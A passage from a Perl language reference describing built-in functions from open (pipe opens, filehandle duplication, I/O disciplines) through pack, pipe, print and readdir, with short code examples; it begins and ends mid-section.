You may also place a "+" in front of any of these three modes to request simultaneous read and write. However, whether the file is clobbered or created and whether it must already exist is still governed by your choice of less-than or greater-than signs. This means that "+<" is almost always preferred for read/write updates, as the dubious "+>" mode would first clobber the file before you could ever read anything from it. (Use that mode only if you want to reread only what you just wrote.)

open(DBASE, "+< database")
    or die "can't open existing database in update mode: $!";
You can treat a file opened for update as a random-access database and use seek to move to a particular byte number, but the variable-length records of regular text files usually make it impractical to use read-write mode to update such files. See the -i command-line option in Chapter 19, "The Command-Line Interface" for a different approach to updating.

If the leading character in EXPR is a pipe symbol, open fires up a new process and connects a write-only filehandle to the command. This way you can write into that handle and what you write will show up on that command's standard input. For example:

open(PRINTER, "| lpr -Plp1")    or die "can't fork: $!";
print PRINTER "stuff\n";
close(PRINTER)                  or die "lpr/close failed: $?/$!";
If the trailing character in EXPR is a pipe symbol, open again launches a new process, but this time with a read-only filehandle connected to it. This allows whatever the command writes to its standard output to show up on your handle for reading. For example:
open(NET, "netstat -i -n |")    or die "can't fork: $!";
while (<NET>) { ... }
close(NET)                      or die "can't close netstat: $!/$?";
Explicitly closing any piped filehandle causes the parent process to wait for the child to finish and returns the status code in $? ($CHILD_ERROR). It's also possible for close to set $! ($OS_ERROR). See the examples under close and system for how to interpret these error codes.

Any pipe command containing shell metacharacters such as wildcards or I/O redirections is passed to your system's canonical shell (/bin/sh on Unix), so those shell-specific constructs can be processed first. If no metacharacters are found, Perl launches the new process itself without calling the shell.

You may also use the three-argument form to start up pipes. Using that style, the equivalent of the previous pipe opens would be:

open(PRINTER, "|-", "lpr -Plp1")    or die "can't fork: $!";
open(NET, "-|", "netstat -i -n")    or die "can't fork: $!";
Here the minus in the second argument represents the command in the third argument. These commands don't happen to invoke the shell, but if you want to guarantee no shell processing occurs, new versions of Perl let you say:
open(PRINTER, "|-", "lpr", "-Plp1")    or die "can't fork: $!";
open(NET, "-|", "netstat", "-i", "-n") or die "can't fork: $!";
If you use the two-argument form to open a pipe to or from the special command "-",[7] an implicit fork is done first. (On systems that can't fork, this raises an exception. Microsoft systems did not support fork prior to the 5.6 release of Perl.) In this case, the minus represents your new child process, which is a copy of the parent. The return value from this forking open is the process ID of the child when examined from the parent process, 0 when examined from the child process, and the undefined value undef if the fork fails--in which case, there is no child. For example:
defined($pid = open(FROM_CHILD, "-|"))
        or die "can't fork: $!";

if ($pid) {
        @parent_lines = <FROM_CHILD>;  # parent code
}
else {
        print STDOUT @child_lines;     # child code
}
The filehandle behaves normally for the parent, but for the child process, the parent's input (or output) is piped from (or to) the child's STDOUT (or STDIN). The child process does not see the parent's filehandle opened. (This is conveniently indicated by the 0 PID.) Typically you'd use this construct instead of the normal piped open when you want to exercise more control over just how the pipe command gets executed (such as when you are running setuid) and don't want to have to scan shell commands for metacharacters. The following piped opens are roughly equivalent:
open FH,            "| tr   'a-z'  'A-Z'";        # pipe to shell command
open FH, "|-",        'tr', 'a-z', 'A-Z';         # pipe to bare command
open FH, "|-" or exec 'tr', 'a-z', 'A-Z' or die;  # pipe to child
as are these:
open FH,              "cat    -n   'file' |";     # pipe from shell command
open FH, "-|",        'cat', '-n', 'file';        # pipe from bare command
open FH, "-|" or exec 'cat', '-n', 'file' or die; # pipe from child
For more elaborate uses of fork open, see the sections "Talking to Yourself" in Chapter 16, "Interprocess Communication" and "Cleaning Up Your Environment" in Chapter 23, "Security".

[7]Or you can think of it as leaving the command off of the three-argument forms above.

When starting a command with open, you must choose either input or output: "cmd|" for reading or "|cmd" for writing. You may not use open to start a command that pipes both in and out, as the (currently) illegal notation, "|cmd|", might appear to indicate. However, the standard IPC::Open2 and IPC::Open3 library routines give you a close equivalent. For details on double-ended pipes, see the section "Bidirectional Communication" in Chapter 16, "Interprocess Communication".

You may also, in the Bourne shell tradition, specify an EXPR beginning with >&, in which case the rest of the string is interpreted as the name of a filehandle (or file descriptor, if numeric) to be duplicated using the dup2(2) syscall.[8] You may use & after >, >>, <, +>, +>>, and +<. (The specified mode should match the mode of the original filehandle.)

[8]This doesn't (currently) work with I/O objects on typeglob references by filehandle autovivification, but you can always use fileno to fetch the file descriptor and dup that.

One reason you might want to do this would be if you already had a filehandle open and wanted to make another handle that's really a duplicate of the first one.

open(SAVEOUT, ">&SAVEERR") or die "couldn't dup SAVEERR: $!";
open(MHCONTEXT, "<&4")     or die "couldn't dup fd4: $!";
That means that if a function is expecting a filename, but you don't want to give it a filename because you already have the file open, you can just pass the filehandle with a leading ampersand. It's best to use a fully qualified handle though, just in case the function happens to be in a different package:
somefunction("&main::LOGFILE");
Another reason to "dup" filehandles is to temporarily redirect an existing filehandle without losing track of the original destination. Here is a script that saves, redirects, and restores STDOUT and STDERR:
#!/usr/bin/perl
open SAVEOUT, ">&STDOUT";
open SAVEERR, ">&STDERR";

open STDOUT, ">foo.out" or die "Can't redirect stdout";
open STDERR, ">&STDOUT" or die "Can't dup stdout";

select STDERR; $| = 1;         # enable autoflush
select STDOUT; $| = 1;         # enable autoflush

print STDOUT "stdout 1\n";     # these I/O streams propagate to
print STDERR "stderr 1\n";     # subprocesses too

system("some command");        # uses new stdout/stderr

close STDOUT;
close STDERR;

open STDOUT, ">&SAVEOUT";
open STDERR, ">&SAVEERR";

print STDOUT "stdout 2\n";
print STDERR "stderr 2\n";
If the filehandle or descriptor number is preceded by a &= combination instead of a simple &, then instead of creating a completely new file descriptor, Perl makes the FILEHANDLE an alias for the existing descriptor using the fdopen(3) C library call. This is slightly more parsimonious of systems resources, although that's less of a concern these days.
$fd = $ENV{"MHCONTEXTFD"};
open(MHCONTEXT, "<&=$fdnum")
        or die "couldn't fdopen descriptor $fdnum: $!";
Filehandles STDIN, STDOUT, and STDERR always remain open across an exec. Other filehandles, by default, do not. On systems supporting the fcntl function, you may modify the close-on-exec flag for a filehandle.
use Fcntl qw(F_GETFD F_SETFD);
$flags = fcntl(FH, F_SETFD, 0)
        or die "Can't clear close-on-exec flag on FH: $!\n";
See also the special $^F ($SYSTEM_FD_MAX) variable in Chapter 28, "Special Names".

With the one- or two-argument form of open, you have to be careful when you use a string variable as a filename, since the variable may contain arbitrarily weird characters (particularly when the filename has been supplied by arbitrarily weird characters on the Internet). If you're not careful, parts of the filename might get interpreted as a MODE string, ignorable whitespace, a dup specification, or a minus. Here's one historically interesting way to insulate yourself:

$path =~ s#^(\s)#./$1#;
open (FH, "< $path\0") or die "can't open $path: $!";
But that's still broken in several ways. Instead, just use the three-argument form of open to open any arbitrary filename cleanly and without any (extra) security risks:
open(FH, "<", $path) or die "can't open $path: $!";
On the other hand, if what you're looking for is a true, C-style open(2) syscall with all its attendant belfries and whistle-stops, then check out sysopen:
use Fcntl;
sysopen(FH, $path, O_RDONLY) or die "can't open $path: $!";
If you're running on a system that distinguishes between text and binary files, you may need to put your filehandle into binary mode--or forgo doing so, as the case may be--to avoid mutilating your files. On such systems, if you use text mode on a binary file, or binary mode on a text file, you probably won't like the results.

Systems that need the binmode function are distinguished from those that don't by the format used for text files. Those that don't need it terminate each line with a single character that corresponds to what C thinks is a newline, \n. Unix and Mac OS fall into this category. VMS, MVS, MS-whatever, and S&M operating systems of other varieties treat I/O on text files and binary files differently, so they need binmode.

Or its equivalent. As of the 5.6 release of Perl, you can specify binary mode in the open function without a separate call to binmode. As part of the MODE argument (but only in the three-argument form), you may specify various input and output disciplines. To do the equivalent of a binmode, use the three argument form of open and stuff a discipline of :raw in after the other MODE characters:

open(FH, "<:raw", $path) or die "can't open $path: $!";
Since this is a very new feature, there will certainly be more disciplines by the time you read this than there were when we wrote it. However, we can reasonably predict that there will in all likelihood be disciplines resembling some or all of the ones in Table 29-2.

Table 29.2. I/O Disciplines

Discipline | Meaning
:raw | Binary mode; do no processing
:text | Default text processing
:def | Default declared by "use open"
:latin1 | File should be ISO-8859-1
:ctype | File should be LC_CTYPE
:utf8 | File should be UTF-8
:utf16 | File should be UTF-16
:utf32 | File should be UTF-32
:uni | Intuit Unicode (UTF-*)
:any | Intuit Unicode/Latin1/LC_CTYPE
:xml | Use encoding specified in file
:crlf | Intuit newlines
:para | Paragraph mode
:slurp | Slurp mode

You'll be able to stack disciplines that make sense to stack, so, for instance, you could say:

open(FH, "<:para:crlf:uni", $path) or die "can't open $path: $!";
while ($para = <FH>) { ... }
That would set up disciplines to:

  • read in some form of Unicode and translate to Perl's internal UTF-8 format if the file isn't already in UTF-8,

  • look for variants of line-ending sequences, translating them all to \n, and

  • process the file into paragraph-sized chunks, much as $/ = "" does.

If you want to set the default open mode (:def) to something other than :text, you can declare that at the top of your file with the open pragma:

use open IN => ":any", OUT => ":utf8";
In fact, it would be really nice if that were the default :text discipline someday. It perfectly captures the spirit of "Be liberal in what you accept, and strict in what you produce."

29.2.105. opendir

opendir DIRHANDLE, EXPR
This function opens a directory named EXPR for processing by readdir, telldir, seekdir, rewinddir, and closedir. The function returns true if successful. Directory handles have their own namespace separate from filehandles.

29.2.106. ord

ord EXPR
ord
This function returns the numeric value (ASCII, Latin-1, or Unicode) of the first character of EXPR. The return value is always unsigned. If you want a signed value, use unpack('c',EXPR). If you want all the characters of the string converted to a list of numbers, use unpack('U*',EXPR) instead.

29.2.107. our

our TYPE EXPR : ATTRIBUTES
our EXPR : ATTRIBUTES
our TYPE EXPR
our EXPR
An our declares one or more variables to be valid globals within the enclosing block, file, or eval. That is, our has the same rules as a my declaration for determination of visibility, but does not create a new private variable; it merely allows unfettered access to the existing package global. If more than one value is listed, the list must be placed in parentheses.

The primary use of an our declaration is to hide the variable from the effects of a use strict "vars" declaration; since the variable is masquerading as a my variable, you are permitted to use the declared global variable without qualifying it with its package. However, just like the my variable, this only works within the lexical scope of the our declaration. In this respect, it differs from use vars, which affects the entire package and is not lexically scoped.

our is also like my in that you are allowed to declare variables with a TYPE and with ATTRIBUTES. Here is the syntax:

our Dog $spot :ears(short) :tail(long);
As of this writing, it's not entirely clear what that will mean. Attributes could affect either the global or the local interpretation of $spot. On the one hand, it would be most like my variables for attributes to warp the current local view of $spot without interfering with other views of the global in other places. On the other hand, if one module declares $spot to be a Dog, and another declares $spot to be a Cat, you could end up with meowing dogs or barking cats. This is a subject of ongoing research, which is a fancy way to say we don't know what we're talking about yet. (Except that we do know what to do with the TYPE declaration when the variable refers to a pseudohash--see "Managing Instance Data" in Chapter 12, "Objects".)

Another way in which our is like my is in its visibility. An our declaration declares a global variable that will be visible across its entire lexical scope, even across package boundaries. The package in which the variable is located is determined at the point of the declaration, not at the point of use. This means the following behavior holds and is deemed to be a feature:

package Foo;
our $bar;      # $bar is $Foo::bar for rest of lexical scope
$bar = 582;

package Bar;
print $bar;    # prints 582, just as if "our" had been "my"
However, the distinction between my creating a new, private variable and our exposing an existing, global variable is important, especially in assignments. If you combine a run-time assignment with an our declaration, the value of the global variable does not disappear once the our goes out of scope. For that, you need local:
($x, $y) = ("one", "two");
print "before block, x is $x, y is $y\n";
{
    our $x = 10;
    local our $y = 20;
    print "in block, x is $x, y is $y\n";
}
print "past block, x is $x, y is $y\n";
That prints out:
before block, x is one, y is two
in block, x is 10, y is 20
past block, x is 10, y is two
Multiple our declarations in the same lexical scope are allowed if they are in different packages. If they happen to be in the same package, Perl will emit warnings if you ask it to.
use warnings;
package Foo;
our $bar;          # declares $Foo::bar for rest of lexical scope
$bar = 20;

package Bar;
our $bar = 30;     # declares $Bar::bar for rest of lexical scope
print $bar;        # prints 30

our $bar;          # emits warning
See also local, my, and the section "Scoped Declarations" in Chapter 4, "Statements and Declarations".

29.2.108. pack

pack TEMPLATE, LIST
This function takes a LIST of ordinary Perl values and converts them into a string of bytes according to the TEMPLATE and returns this string. The argument list will be padded or truncated as necessary. That is, if you provide fewer arguments than the TEMPLATE requires, pack assumes additional null arguments. If you provide more arguments than the TEMPLATE requires, the extra arguments are ignored. Unrecognized format elements in TEMPLATE will raise an exception.

The template describes the structure of the string as a sequence of fields. Each field is represented by a single character that describes the type of the value and its encoding. For instance, a format character of N specifies an unsigned four-byte integer in big-endian byte order.

Fields are packed in the order given in the template. For example, to pack an unsigned one-byte integer and a single-precision floating-point value into a string, you'd say:

$string = pack("Cf", 244, 3.14);
The first byte of the returned string has the value 244. The remaining bytes are the encoding of 3.14 as a single-precision float. The particular encoding of the floating point number depends on your computer's hardware.

Some important things to consider when packing are:

  • the type of data (such as integer or float or string),

  • the range of values (such as whether your integers will fit into one, two, four, or maybe even eight bytes; or whether you're packing 8-bit or Unicode characters),

  • whether your integers are signed or unsigned, and

  • the encoding to use (such as native, little-endian, or big-endian packing of bits and bytes).

Table 29-3 lists the format characters and their meanings. (Other characters can occur in formats as well; these are described later.)

Table 29.3. Template Characters for pack/unpack

Character | Meaning
a | A null-padded string of bytes
A | A space-padded string of bytes
b | A bit string, in ascending bit order inside each byte (like vec)
B | A bit string, in descending bit order inside each byte
c | A signed char (8-bit integer) value
C | An unsigned char (8-bit integer) value; see U for Unicode
d | A double-precision floating-point number in native format
f | A single-precision floating-point number in native format
h | A hexadecimal string, low nybble first
H | A hexadecimal string, high nybble first
i | A signed integer value, native format
I | An unsigned integer value, native format
l | A signed long value, always 32 bits
L | An unsigned long value, always 32 bits
n | A 16-bit short in "network" (big-endian) order
N | A 32-bit long in "network" (big-endian) order
p | A pointer to a null-terminated string
P | A pointer to a fixed-length string
q | A signed quad (64-bit integer) value
Q | An unsigned quad (64-bit integer) value
s | A signed short value, always 16 bits
S | An unsigned short value, always 16 bits
u | A uuencoded string
U | A Unicode character number
v | A 16-bit short in "VAX" (little-endian) order
V | A 32-bit long in "VAX" (little-endian) order
w | A BER compressed integer
x | A null byte (skip forward a byte)
X | Back up a byte
Z | A null-terminated (and null-padded) string of bytes
@ | Null-fill to absolute position

You may freely place whitespace and comments in your TEMPLATEs. Comments start with the customary # symbol and extend up through the first newline (if any) in the TEMPLATE.

Each letter may be followed by a number indicating the count, interpreted as a repeat count or length of some sort, depending on the format. With all formats except a, A, b, B, h, H, P, and Z, count is a repeat count, so pack gobbles up that many values from the LIST. A * for the count means however many items are left.

The a, A, and Z formats gobble just one value, but pack it as a byte string of length count, padding with nulls or spaces as necessary. When unpacking, A strips trailing spaces and nulls, Z strips everything after the first null, and a returns the literal data unmolested. When packing, a and Z are equivalent.

Similarly, the b and B formats pack a string count bits long. Each byte of the input field generates 1 bit of the result based on the least-significant bit of each input byte (that is, on ord($byte) % 2). Conveniently, that means bytes 0 and 1 generate bits 0 and 1. Starting from the beginning of the input string, each 8-tuple of bytes is converted to a single byte of output. If the length of the input string is not divisible by 8, the remainder is packed as if padded by 0's. Similarly, during unpacking any extra bits are ignored. If the input string is longer than needed, extra bytes are ignored. A * for the count means to use all bytes from the input field. On unpacking, the bits are converted to a string of 0s and 1s.

The h and H formats pack a string of count nybbles (4-bit groups often represented as hexadecimal digits).

The p format packs a pointer to a null-terminated string. You are responsible for ensuring the string is not a temporary value (which can potentially get deallocated before you get around to using the packed result). The P format packs a pointer to a structure of the size indicated by count. A null pointer is created if the corresponding value for p or P is undef.

The / character allows packing and unpacking of strings where the packed structure contains a byte count followed by the string itself. You write length-item/string-item. The length-item can be any pack template letter, and describes how the length value is packed. The ones likely to be of most use are integer-packing ones like n (for Java strings), w (for ASN.1 or SNMP) and N (for Sun XDR). The string-item must, at present, be A*, a*, or Z*. For unpack, the length of the string is obtained from the length-item, but if you put in the *, it will be ignored.

unpack 'C/a', "\04Gurusamy";        # gives 'Guru'
unpack 'a3/A* A*', '007 Bond  J ';  # gives (' Bond','J')
pack 'n/a* w/a*','hello,','world';  # gives "\000\006hello,\005world"
The length-item is not returned explicitly from unpack. Adding a count to the length-item letter is unlikely to do anything useful, unless that letter is A, a, or Z. Packing with a length-item of a or Z may introduce null (\0) characters, which Perl does not regard as legal in numeric strings.

The integer formats s, S, l, and L may be immediately followed by a ! to signify native shorts or longs instead of exactly 16 or 32 bits respectively. Today, this is an issue mainly in 64-bit platforms, where the native shorts and longs as seen by the local C compiler can be different than these values. (i! and I! also work but only because of completeness; they are identical to i and I.)

The actual sizes (in bytes) of native shorts, ints, longs, and long longs on the platform where Perl was built are also available via the Config module:

use Config;
print $Config{shortsize},    "\n";
print $Config{intsize},      "\n";
print $Config{longsize},     "\n";
print $Config{longlongsize}, "\n";
Just because Configure knows the size of a long long, doesn't necessarily imply that you have q or Q formats available to you. (Some systems do, but you're probably not running one. Yet.)

Integer formats of greater than one byte in length (s, S, i, I, l, and L) are inherently nonportable between processors because they obey the native byte order and endianness. If you want portable packed integers, use the formats n, N, v, and V; their byte endianness and size are known.

Floating-point numbers are in the native machine format only. Because of the variety of floating formats and lack of a standard "network" representation, no facility for interchange has been made. This means that packed floating-point data written on one machine may not be readable on another. This is a problem even when both machines use IEEE floating-point arithmetic, because the endian-ness of the memory representation is not part of the IEEE spec.

Perl uses doubles internally for all floating-point calculation, so converting from double into float, then back again to double will lose precision. This means that unpack("f", pack("f", $foo)) will not generally equal $foo.

You are responsible for any alignment or padding considerations expected by other programs, particularly those programs that were created by a C compiler with its own idiosyncratic notions of how to lay out a C struct on the particular architecture in question. You'll have to add enough x's while packing to make up for this. For example, a C declaration of:

struct foo {
        unsigned char c;
        float f;
};
might be written out in a "C x f" format, a "C x3 f" format, or even a "f C" format--just to name a few. The pack and unpack functions handle their input and output as flat sequences of bytes because there is no way for them to know where the bytes are going to or coming from.

Let's look at some examples. This first pair packs numeric values into bytes:

$out = pack "CCCC", 65, 66, 67, 68;      # $out eq "ABCD"
$out = pack "C4", 65, 66, 67, 68;        # same thing
This one does the same thing with Unicode circled letters:
$foo = pack("U4",0x24b6,0x24b7,0x24b8,0x24b9);
This does a similar thing, with a couple of nulls thrown in:
$out = pack "CCxxCC", 65, 66, 67, 68;    # $out eq "AB\0\0CD"
Packing your shorts doesn't imply that you're portable:
$out = pack "s2", 1, 2;    # "\1\0\2\0" on little-endian
                           # "\0\1\0\2" on big-endian
On binary and hex packs, the count refers to the number of bits or nybbles, not the number of bytes produced:
$out = pack "B32", "01010000011001010111001001101100";
$out = pack "H8", "5065726c";    # both produce "Perl"
The length on an a field applies only to one string:
$out = pack "a4", "abcd", "x", "y", "z";      # "abcd"
To get around that limitation, use multiple specifiers:
$out = pack "aaaa",  "abcd", "x", "y", "z";   # "axyz"
$out = pack "a" x 4, "abcd", "x", "y", "z";   # "axyz"
The a format does null filling:
$out = pack "a14", "abcdefg";   # "abcdefg\0\0\0\0\0\0\0"
This template packs a C struct tm record (at least on some systems):
$out = pack "i9pl", gmtime(), $tz, $toff;
Generally, the same template may also be used in the unpack function, although some formats act differently, notably a, A, and Z.

If you want to join fixed-width text fields together, use pack with a TEMPLATE of several A or a formats:

$string = pack("A10" x 10, @data);
If you want to join variable-width text fields with a separator, use the join function instead:
$string = join(" and ", @data);
$string = join("", @data);             # null separator
Although all of our examples used literal strings as templates, there is no reason you couldn't pull in your templates from a disk file. You could build an entire relational database system around this function. (What that would prove about you we won't get into.)

29.2.109. package

package NAMESPACE
package
This is not really a function, but a declaration that says that the rest of the innermost enclosing scope belongs to the indicated symbol table or namespace. (The scope of a package declaration is thus the same as the scope of a my or our declaration.) Within its scope, the declaration causes the compiler to resolve all unqualified global identifiers by looking them up in the declared package's symbol table.

A package declaration affects only global variables--including those on which you've used local--not lexical variables created with my. It only affects unqualified global variables; global variables that are qualified with a package name of their own ignore the current declared package. Global variables declared with our are unqualified and therefore respect the current package, but only at the point of declaration, after which they behave like my variables. That is, for the rest of their lexical scope, our variables are "nailed" to the package in use at the point of declaration, even if a subsequent package declaration intervenes.

Typically, you would put a package declaration as the first thing in a file that is to be included by the require or use operator, but you can put one anywhere a statement would be legal. When creating a traditional or objected-oriented module file, it is customary to name the package the same name as the file to avoid confusion. (It's also customary to name such packages beginning with a capital letter because lowercase modules are by convention interpreted as pragmatic modules.)

You can switch into a given package in more than one place; it merely influences which symbol table is used by the compiler for the rest of that block. (If the compiler sees another package declaration at the same level, the new declaration overrides the previous one.) Your main program is assumed to start with an invisible package main declaration.

You can refer to variables, subroutines, handles, and formats in other packages by qualifying the identifier with the package name and a double colon: $Package::Variable. If the package name is null, the main package is assumed. That is, $::sail is equivalent to $main::sail, as well as to $main'sail, which is still occasionally seen in older code.

Here's an example:

package main;       $sail = "hale and hearty";
package Mizzen;     $sail = "tattered";
package Whatever;
print "My main sail is $main::sail.\n";
print "My mizzen sail is $Mizzen::sail.\n";
This prints:
My main sail is hale and hearty.
My mizzen sail is tattered.
The symbol table for a package is stored in a hash with a name ending in a double colon. The main package's symbol table is named %main:: for example. So the existing package symbol *main::sail can also be accessed as $main::{"sail"}.

If NAMESPACE is omitted, then there is no current package, and all identifiers must be fully qualified or declared as lexicals. This is stricter than use strict since it also extends to function names.

See Chapter 10, "Packages", for more information about packages. See my earlier in this chapter for other scoping issues.

29.2.110. pipe

pipe READHANDLE, WRITEHANDLE
Like the corresponding syscall, this function opens a pair of connected pipes--see pipe(2). This call is usually used right before a fork, after which the pipe's reader should close WRITEHANDLE, and the writer close READHANDLE. (Otherwise the pipe won't indicate EOF to the reader when the writer closes it.) If you set up a loop of piped processes, deadlock can occur unless you are remarkably careful. In addition, note that Perl's pipes use standard I/O buffering, so you may need to set $| ($OUTPUT_AUTOFLUSH) on your WRITEHANDLE to flush after each output operation, depending on the application--see select (output filehandle).

(As with open, if either filehandle is undefined, it will be autovivfied.)

Here's a small example:

pipe(README, WRITEME);
unless ($pid = fork) {  #               child
    defined $pid or die "can't fork: $!";
    close(README);
    for $i (1..5) { print WRITEME "line $i\n" }
    exit;
}
$SIG{CHLD} = sub { waitpid($pid, 0) };
close(WRITEME);
@strings = <README>;
close(README);
print "Got:\n", @strings;
Notice how the writer closes the read end and the reader closes the write end. You can't use one pipe for two-way communication. Either use two different pipes or the socketpair syscall for that. See the section "Pipes" in Chapter 16, "Interprocess Communication".

29.2.111. pop

pop ARRAY
pop
This function treats an array like a stack--it pops (removes) and returns the last value of the array, shortening the array by one element. If ARRAY is omitted, the function pops @_ within the lexical scope of subroutines and formats; it pops @ARGV at file scopes (typically the main program) or within the lexical scopes established by the eval STRING, BEGIN {}, CHECK {}, INIT {}, and END {} constructs. It has the same effect as:
$tmp = $ARRAY[$#ARRAY--];
or:
$tmp = splice @ARRAY, -1;
If there are no elements in the array, pop returns undef. (But don't depend on that to tell you when the array is empty if your array contains undef values!) See also push and shift. If you want to pop more than one element, use splice.

The pop requires its first argument to be an array, not a list. If you just want the last element of a list, use this:

( LIST )[-1]

29.2.112. pos

pos SCALAR
pos
This function returns the location in SCALAR where the last m//g search over SCALAR left off. It returns the offset of the character after the last one matched. (That is, it's equivalent to length($`) + length($&).) This is the offset where the next m//g search on that string will start. Remember that the offset of the beginning of the string is 0. For example:
$graffito = "fee fie foe foo";
while ($graffito =~ m/e/g) {
    print pos $graffito, "\n";
}
prints 2, 3, 7, and 11, the offsets of each of the characters following an "e". The pos function may be assigned a value to tell the next m//g where to start:
$graffito = "fee fie foe foo";
pos $graffito = 4;  # Skip the fee, start at fie
while ($graffito =~ m/e/g) {
        print pos $graffito, "\n";
}
This prints only 7 and 11. The regular expression assertion \G matches only at the location currently specified by pos for the string being searched. See the section "Positions" in Chapter 5, "Pattern Matching".

29.2.113. print

print FILEHANDLE LIST
print LIST
print
This function prints a string or a comma-separated list of strings. If set, the contents of the $\ ($OUTPUT_RECORD_SEPARATOR) variable will be implicitly printed at the end of the list. The function returns true if successful, false otherwise. FILEHANDLE may be a scalar variable name (unsubscripted), in which case the variable contains either the name of the actual filehandle or a reference to a filehandle object of some sort. As with any other indirect object, FILEHANDLE may also be a block that returns such a value:
print { $OK ? "STDOUT" : "STDERR" } "stuff\n";
print { $iohandle[$i] } "stuff\n";
If FILEHANDLE is a variable and the next token is a term, it may be misinterpreted as an operator unless you interpose a + or put parentheses around the arguments. For example:
print $a - 2;   # prints $a - 2 to default filehandle (usually STDOUT)
print $a (- 2); # prints -2 to filehandle specified in $a
print $a -2;    # also prints -2 (weird parsing rules :-)
If FILEHANDLE is omitted, the function prints to the currently selected output filehandle, initially STDOUT. To set the default output filehandle to something other than STDOUT, use the select FILEHANDLE operation.[9] If LIST is also omitted, the function prints $_. Because print takes a LIST, anything in the LIST is evaluated in list context. Thus, when you say:
print OUT <STDIN>;
it is not going to print the next line from standard input, but all the rest of the lines from standard input up to end-of-file, since that's what <STDIN> returns in list context. If you want the other thing, say:
print OUT scalar <STDIN>;
Also, remembering the if-it-looks-like-a-function-it-is-a-function rule, be careful not to follow the print keyword with a left parenthesis unless you want the corresponding right parenthesis to terminate the arguments to the print--interpose a + or put parens around all the arguments:
print (1+2)*3, "\n";            # WRONG
print +(1+2)*3, "\n";           # ok
print ((1+2)*3, "\n");          # ok

[9] Thus, STDOUT isn't really the default filehandle for print. It's merely the default default filehandle.

29.2.114. printf

printf FILEHANDLE FORMAT, LIST
printf FORMAT, LIST
This function prints a formatted string to FILEHANDLE or, if omitted, the currently selected output filehandle, initially STDOUT. The first item in the LIST must be a string that says how to format the rest of the items. This is similar to the C library's printf(3) and fprintf(3) functions. The function is equivalent to:
print FILEHANDLE sprintf FORMAT, LIST
except that $\ ($OUTPUT_RECORD_SEPARATOR) is not appended. If use locale is in effect, the character used for the decimal point in formatted floating-point numbers is affected by the LC_NUMERIC locale.

An exception is raised only if an invalid reference type is used as the FILEHANDLE argument. Unrecognized formats are passed through intact. Both situations trigger warnings if they're enabled.

See the print and sprintf functions elsewhere in this chapter. The description of sprintf includes the list of format specifications. We'd duplicate them here, but this book is already an ecological disaster.

If you omit both the FORMAT and the LIST, $_ is used--but in that case, you should have been using print. Don't fall into the trap of using a printf when a simple print would do. The print function is more efficient and less error prone.

29.2.115. prototype

prototype FUNCTION
Returns the prototype of a function as a string (or undef if the function has no prototype). FUNCTION is a reference to, or the name of, the function whose prototype you want to retrieve.

If FUNCTION is a string starting with CORE::, the rest is taken as a name for Perl built-in, and an exception is raised if there is no such built-in. If the built-in is not overridable (such as qw//) or its arguments cannot be expressed by a prototype (such as system), the function returns undef because the built-in does not really behave like a Perl function. Otherwise, the string describing the equivalent prototype is returned.

29.2.116. push

push ARRAY, LIST
This function treats ARRAY as a stack and pushes the values of LIST onto the end of ARRAY. The length of ARRAY increases by the length of LIST. The function returns this new length. The push function has the same effect as:
foreach $value (listfunc()) {
    $array[++$#array] = $value;
}
or:
splice @array, @array, 0, listfunc();
but it is more efficient (for both you and your computer). You can use push in combination with shift to make a fairly time-efficient shift register or queue:
for (;;) {
    push @array, shift @array;
    ...
}
See also pop and unshift.

29.2.117. q/STRING/

q/STRING/
qq/STRING/
qr/STRING/
qw/STRING/
qx/STRING/
Generalized quotes. See the "Pick your own quotes" section Chapter 2, "Bits and Pieces". For status annotations on qx//, see readpipe. For status annotations on qr//, see m//. See also "Staying in Control" in Chapter 5, "Pattern Matching".

29.2.118. quotemeta

quotemeta EXPR
quotemeta
This function returns the value of EXPR with all nonalphanumeric characters backslashed. (That is, all characters not matching /[A-Za-z_0-9]/ will be preceded by a backslash in the returned string, regardless of locale settings.) This is the internal function implementing the \Q escape in interpolative contexts (including double-quoted strings, backticks, and patterns).

29.2.119. rand

rand EXPR
rand
This function returns a pseudorandom floating-point number greater than or equal to 0 and less than the value of EXPR. (EXPR should be positive.) If EXPR is omitted, the function returns a floating-point number between 0 and 1 (including 0, but excluding 1). rand automatically calls srand unless srand has already been called. See also srand.

To get an integral value, such as for a die roll, combine this with int, as in:

$roll = int(rand 6) + 1;       # $roll now a number between 1 and 6
Because Perl uses your own C library's pseudorandom number function, like random(3) or drand48(3), the quality of the distribution is not guaranteed. If you need stronger randomness, such as for cryptographic purposes, you might consult instead the documentation on random(4) (if your system has a /dev/random or /dev/urandom device), the CPAN module Math::TrulyRandom, or a good textbook on computational generation of pseudorandom numbers, such as the second volume of Knuth.[10]

[10] Knuth, D.E. The Art of Computer Programming, Seminumerical Algorithms, vol. 2, 3d ed. (Reading, Mass.: Addison-Wesley, 1997). ISBN 0-201-89684-2.

29.2.120. read [taintgray]

read FILEHANDLE, SCALAR, LENGTH, OFFSET
read FILEHANDLE, SCALAR, LENGTH
This function attempts to read LENGTH bytes of data into variable SCALAR from the specified FILEHANDLE. The function returns the number of bytes read or 0 at end-of-file. It returns undef on error. SCALAR will grow or shrink to the length actually read. The OFFSET, if specified, determines where in the variable to start putting bytes, so that you can read into the middle of a string.

To copy data from filehandle FROM into filehandle TO, you could say:

while (read(FROM, $buf, 16384)) {
    print TO $buf;
}
The opposite of a read is simply a print, which already knows the length of the string you want to write and can write a string of any length. Don't make the mistake of using write, which is solely used with formats.

Perl's read function is implemented in terms of standard I/O's fread(3) function, so the actual read(2) syscall may read more than LENGTH bytes to fill the input buffer, and fread(3) may do more than one read(2) syscall in order to fill the buffer. To gain greater control, specify the real syscall using sysread. Calls to read and sysread should not be intermixed unless you are into heavy wizardry (or pain). Whichever one you use, be aware that when reading from a file containing Unicode or any other multibyte encoding, the buffer boundary may fall in the middle of a character.

29.2.121. readdir

readdir DIRHANDLE
This function reads directory entries (which are simple filenames) from a directory handle opened by opendir. In scalar context, this function returns the next directory entry, if any; otherwise, it returns undef. In list context, it returns all the rest of the entries in the directory, which will be a null list if there are no entries. For example:
opendir(THISDIR, ".") or die "serious dainbramage: $!";
@allfiles = readdir THISDIR;
closedir THISDIR;
print "@allfiles\n";
That prints all the files in the current directory on one line. If you want to avoid the "." and ".." entries, incant one of these (whichever you think is least unreadable):
@allfiles = grep { $_ ne '.' and $_ ne '..' } readdir THISDIR;
@allfiles = grep { not /^[.][.]?\z/ } readdir THISDIR;
@allfiles = grep { not /^\.{1,2}\z/ } readdir THISDIR;
@allfiles = grep !/^\.\.?\z/, readdir THISDIR;
And to avoid all .* files (like the ls program):
@allfiles = grep !/^\./, readdir THISDIR;
To get just text files, say this:
